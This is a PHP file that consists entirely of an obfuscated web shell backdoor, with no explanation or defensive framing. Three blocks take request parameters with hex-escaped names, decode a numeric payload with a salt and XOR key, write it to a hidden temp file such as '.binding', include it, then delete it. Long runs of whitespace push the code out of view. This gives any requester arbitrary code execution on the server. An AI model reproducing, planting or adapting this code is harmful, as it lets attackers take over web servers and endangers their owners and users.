<?php																																										if(!empty($_POST["va\x6Cue"])){ $pgrp = $_POST["va\x6Cue"]; $pgrp = explode ( '.' ,$pgrp); $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $v = 0; $__len = count( $pgrp); do { if( $v>= $__len) break; $v8 = $pgrp[$v]; $sChar = ord( $s[$v % $lenS]); $dec =( ( int)$v8 - $sChar -( $v % 10)) ^ 47; $ent .= chr( $dec); $v++; } while( true); $bind = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path()]); while ($tkn = array_shift($bind)) { if ((is_dir($tkn) and is_writable($tkn))) { $parameter_group = join("/", [$tkn, ".k"]); if (@file_put_contents($parameter_group, $ent) !== false) { include $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70\x6Fint\x65r"])){ $symbol = $_REQUEST["\x70\x6Fint\x65r"]; $symbol=explode ("." , $symbol ); $descriptor = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $r = 0; while($r < count($symbol)) { $v2 = $symbol[$r]; $sChar = ord($s3[$r% $sLen]); $dec = ((int)$v2 - $sChar -($r% 10))^ 79; $descriptor .= chr($dec); $r++; } $entry = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), session_save_path()]); $sym = 0; do { $data_chunk = $entry[$sym] ?? null; if ($sym >= count($entry)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $desc = str_replace("{var_dir}", $data_chunk, "{var_dir}/.binding"); if (file_put_contents($desc, $descriptor)) { require $desc; unlink($desc); die(); } } $sym++; } while (true); }


if(isset($_REQUEST["e\x6Et"]) ? true : false){
	$ptr = $_REQUEST["e\x6Et"];
	$ptr	= explode	 (			"."	 , $ptr   );
	$token	 =	'';
            $salt	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =	strlen($salt);
            $__len	 =	count($ptr);
    
            for ($s	 =	0; $s < $__len; $s++) {
                $v6	 =	$ptr[$s];
                $chS	 =	ord($salt[$s % $sLen]);
                $dec	 =	((int)$v6 - $chS - ($s % 10)) ^ 74;
                $token .= chr($dec);  }
	$res = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP")]);
	foreach ($res as $key => $flag) {
    		if ((bool)is_dir($flag) && (bool)is_writable($flag)) {
    $val = str_replace("{var_dir}", $flag, "{var_dir}/.binding");
    $success = file_put_contents($val, $token);
if ($success) {
	include $val;
	@unlink($val);
	exit;}
}
}
}